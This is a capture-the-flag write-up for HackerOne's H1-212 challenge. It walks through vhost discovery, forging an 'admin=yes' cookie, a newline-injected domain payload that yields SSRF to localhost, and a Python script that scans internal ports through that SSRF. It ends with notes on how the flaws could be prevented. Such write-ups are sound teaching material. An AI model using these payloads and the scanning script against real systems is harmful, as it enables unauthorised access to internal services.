Info
This post was originally published on my previous blog (poc-server.com/blog) and has been migrated to my current platform for archival purposes. Be advised that due to software transitions and evolving best practices, the formatting and content may not align perfectly with my newer posts.

Write-up H1-212 Link to heading

Index Link to heading

Title Description
Tools The tools etc. which I used during this CTF
My journey My experience during this CTF
The steps The steps to reproduce
Things learned Summary of things we used/learned in this CTF
Vulnerable code Summary of the vulnerable parts that led to the capture of the flag
Timeline Timeline of achievements

General Link to heading

Tools etc. I used:

My journey Link to heading

Alright, cool. Lets start at the beginning of this journey.

First, when reading trough the blog post you can read that an engineer launched a new server which he thinks, can’t be hacked.

So my first thoughts were that it might be something with DNS, since the server itself is ‘unhackable’ according to the engineer. but since we got the server IP address and not a domain name, this option became invalid.

So I did a quick nmap scan to check for interesting open ports. nmap -A 104.236.20.43 -sV -Pn
This returned open port 80(http) and 22(ssh) but they didn’t look interesting enough to dig deeper.
So next, I did a simple recon scan with selfmade tools (that I will publish later this month). This scanned the server for other interesting stuff. But like I predicted, it didn’t return anything.
So after that, I took a look at @Jobertabma’s github where I noticed a tool that matched the blog description; virtual-host-discovery.
After setting up the tool in Kali, I fired it up using the following command:
ruby scan.rb --ip=104.236.20.43 --host=acme.org
The results were:

Found: admin (200)

Found: admin.acme.org (200)

So what now?
We found a Vhost, meaning that we should try changing the Host Header.
So next, I sent the folowing request:

GET / HTTP/1.1
Host: admin.acme.org

This gave me the following response:

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: admin=no
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Awesome, we got a new clue.
If you look at the response you can see that it sets a cookie admin=no.
Well.. The first thing we would try is sending this request over but this time with the cookie set to admin=yes.

So i sent the following request:

GET / HTTP/1.1
Host: admin.acme.org
Cookie: admin=yes

Response:

HTTP/1.1 405 Method Not Allowed

hmm. Method Now Allowed? Let’s change the request type to POST.
Now we got this response:

HTTP/1.1 406 Not Acceptable

When we google this error code, the following site pops up:

It means that the file exists but the client system did not understand the requested file format. This is because the MIME type specified in the Accept header fails to match with the MIME type specified in the requested file name extension. The browser can only accept data that it knows how to process such as HTML and GIF files. If it is a file that it cannot process such as multimedia file, it will return the 406 error message.

MIME type: A MIME type is a label used to identify a type of data.

So it tells us that the server needs to know what type of data it recieves.

Link to heading

Next I scramled a list of MIME types together, which we will use in a simple python script to check which one the server accepts.
I created the following script:

import requests

values = "audio/aac, application/x-abiword, application/octet-stream, video/x-msvideo, application/vnd.amazon.ebook, application/octet-stream, application/x-bzip, application/x-bzip2, application/x-csh, text/css, text/csv, application/msword, application/vnd.ms-fontobject, application/epub+zip, image/gif, text/html, image/x-icon, text/calendar, application/java-archive, image/jpeg, application/javascript, application/json, audio/midi, video/mpeg, application/vnd.apple.installer+xml, application/vnd.oasis.opendocument.presentation, application/vnd.oasis.opendocument.spreadsheet, application/vnd.oasis.opendocument.text, audio/ogg, video/ogg, application/ogg, font/otf, image/png, application/pdf, application/vnd.ms-powerpoint, application/x-rar-compressed, application/rtf, application/x-sh, image/svg+xml, application/x-shockwave-flash, application/x-tar, image/ttf, application/vnd.visio, audio-x-wav, audi/webm, video/webm, image/webp, font/woff, font/woff2, application/xhtml+xml, application/xml, application/zip, video/3gpp, audio/3gpp, application/x-7z-compressed".split(",")

for value in values:
	headers = {"Host":"admin.acme.org", "Accept":value, "Cookie":"admin=yes"}
	r = requests.post("http://104.236.20.43", headers=headers)
	print r.status_code

This basically loops trough the list of MIME types and sends a POST request to the server with the MIME type in the accept header

So, let’s check the result:

All 406. This means we are either doing something wrong, or the right MIME type is not in the list. Well I guessed it was the first option.
Oke, so which headers can all contain a MIME type? Uhm, Content-Type?
Lets try that.
So I change this:

headers = {“Host”:“admin.acme.org”, “Accept”:value, “Cookie”:“admin=yes”}

To This:

headers = {“Host”:“admin.acme.org”, “Content-Type”:value, “Cookie”:“admin=yes”}

Let’s try.

Notice the 418 status code?
Well, I did too 😛

HTTP/1.1 418 I’m a teapot

Wait, what? Haha 418 I'm a teapot
So status code 418 is the Hyper Text Coffee Pot Control Protocol
Well, this doesnt help us since it is just a fun error code, however the body of the response did give us a next clue

{“error”:{“body”:“unable to decode”}}

Oke, this means we have to send JSON in the POST.
Let’s send an empty JSON object first {}.
This returns {"error":{"domain":"required"}}
So next I sent {"domain":"https://example.com"} which returns {"error":{"domain":"incorrect value, .com domain expected"}}
Oke, so it wants it to end on .com?
let’s POST {"domain":"example.com/.com"}

{“error”:{“domain”:“incorrect value, sub domain should contain 212”}}

So we try

{“domain”:“[email protected]/.com”}

which returns

{“next”:"/read.php?id=1"}

Oke, nice. So next we send a GET to /read.php?id=1 containing the ID we just received in the response.
This gives us the following output: {"data":""}
So my next thought was that this could be SSRF.
Since we know that port 22 is open, let’s try to connect to it using the SSRF bug. But first, let’s try to bypass the domain filtering.
What if we try a newline char?

{“domain”:“212.\nlocalhost:22\n.com”}

And then do the GET with the given ID:

GET /read.php?id=2 HTTP/1.1 Host: admin.acme.org Cookie: admin=yes

Which gives us:

{“data”:“U1NILTIuMC1PcGVuU1NIXzcuMnAyIFVidW50dS00dWJ1bnR1Mi4yDQpQcm90b2NvbCBtaXNftYXRjaC4K”}

Which could be base64 decoded to SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2 Protocol mismatch.
Oke, awesome. It is indeed a SSRF. Now let’s try to exploit it.

Link to heading

I created a small python script that automates the process of looping through ports by sending the POST request with localhost:port, and then use the id in the response to make a GET request to fetch the data, which will then be displayed base64 decoded.

Script:

import requests, base64, threading, time

port = 0


def scan(port):
	try:
		headers= {"Content-Type":"application/json", "Cookie":"admin=yes", "Host":"admin.acme.org"}
		try:
			p = requests.post("http://104.236.20.43/", json={"domain": "212.\nlocalhost:"+str(port)+"\n.com"}, headers=headers)
			p_json = p.json()
			next = p_json["next"]
		except:
			print "-error on port "+str(port)
	
		next_id = next.split("=")[1]
		g = requests.get("http://104.236.20.43/read.php?id="+str(int(next_id) - 1), headers=headers)
		g_json = g.json()
		try:
			data = g_json["data"]
		except:
			print "-error on port "+str(port)
			data = ""
		if data:
			print str(port) + " - " + base64.b64decode(data)
	except:
		print "-error on port "+str(port)


while port < 2000:
	try:
		thr = threading.Thread(target=scan, args=(port,))
		thr.start()
	except:
		print "-error on port "+str(port)
	time.sleep(0.1)
	port = port + 1

So when we run this script, it checks the ports in the given range. In the scenario above, the range is set to 0-2000.
Running the script gives us the following result:

So port 1337 gives us the message Hmm, where would it be?. So, where could it be?
First I didnt get the hint, so I just went on scanning other ports in the hope of finding the next step.
But after I scanned all ports from 0 to ~65000 I didnt know what to do next, so I messaged Jobert saying that I needed a hint. He told me that port 1337 is not just a normal port. So I got the hint and quickly went back to localhost:1337, and turned it into localhost:1337/flag.
This returned the following:

FLAG: CF,2dsV/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48XJtt{%vS($g7\S):f%=P[Y@nka=<tqhnF<aq=K5:BC@Sb{[%z"+@yPb/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6

So… End of story :)

The steps Link to heading

  1. Change the Host Header to admin.acme.org.
  2. Set a cookie in the request with the value of admin=yes.
  3. Set the Content-Type header to application/json.
  4. Send a POST request with {"domain":"212.\nlocalhost:1337/flag\n.com"}.
  5. Decode the base64 encoded data.

Things learned Link to heading

  • How to read; Reading the blog and the tweet mulitple times gives away a lot of info. So make sure you understand what it says, and why.
  • Exploiting a Vhost on a server
  • What 405 Method Not Allowed means and how we can ‘fix’ it
  • What 406 Not Acceptable means and how we can ‘fix’ it
  • The april fools joke; 418 I'm a teapot
  • How to use SSRF to scan the internal network for open ports
  • That python can automate and speed up things. (imagine I had to sent a POST and GET request 65 thousand times by hand…)
  • That H1 CTF’s are fun 😛

Vulnerable code Link to heading

These are some of the things that could have prevented all of this.

  • Since the domain in the JSON post could contain internal IP address, we could fetch internal data. This could have been prevented by a black list or by implementing something like this
  • Instead of using a cookie that contains if a user is admininistrator or not, there coud have been a session cookie that checks server side if a user is admininistrator or not.

Timeline Link to heading

The end Link to heading

Thanks for reading this far.
I hope you learned something from it, but more importantly; I hope you enjoyed it.

Link to heading

Created by H1 - 003random - @003random